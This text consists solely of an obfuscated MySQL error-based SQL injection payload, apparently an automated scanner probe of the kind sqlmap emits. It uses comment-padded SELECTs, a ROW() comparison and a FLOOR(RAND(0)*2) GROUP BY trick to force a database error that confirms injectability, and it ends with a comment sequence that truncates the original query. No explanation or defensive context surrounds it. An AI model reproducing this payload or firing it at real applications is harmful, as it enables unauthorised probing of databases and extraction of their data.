1),(SELECT/**/1278/**/FROM/**/(SELECT/**/ROW(1278,7097)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(1278=1278,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/3550/**/UNION/**/SELECT/**/1915/**/UNION/**/SELECT/**/9654/**/UNION/**/SELECT/**/8296)a/**/GROUP/**/BY/**/x))s)– – 1